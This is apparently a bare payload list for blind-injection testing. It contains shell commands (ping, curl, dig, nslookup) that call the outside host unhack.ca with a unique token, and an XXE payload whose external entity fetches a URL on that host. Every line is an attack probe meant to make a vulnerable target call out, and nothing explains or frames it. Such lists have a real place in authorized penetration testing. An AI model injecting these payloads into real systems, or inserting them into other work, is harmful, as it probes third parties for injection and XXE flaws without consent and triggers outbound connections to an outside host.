$ ping -c1 -p 001d4d5dc9da5f8f245cfb31b3098900 unhack.ca
$ curl http://unhack.ca/p/1d4d5dc9da5f8f245cfb31b30989
$ dig 1d4d5dc9da5f8f245cfb31b30989 @unhack.ca
$ dig 1d4d5dc9da5f8f245cfb31b30989.ns.unhack.ca
C:\> nslookup 1d4d5dc9da5f8f245cfb31b30989 unhack.ca
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [<!ELEMENT foo ANY> <!ENTITY xxe SYSTEM "http://unhack.ca/p/1d4d5dc9da5f8f245cfb31b30989">]> <foo>&xxe;</foo>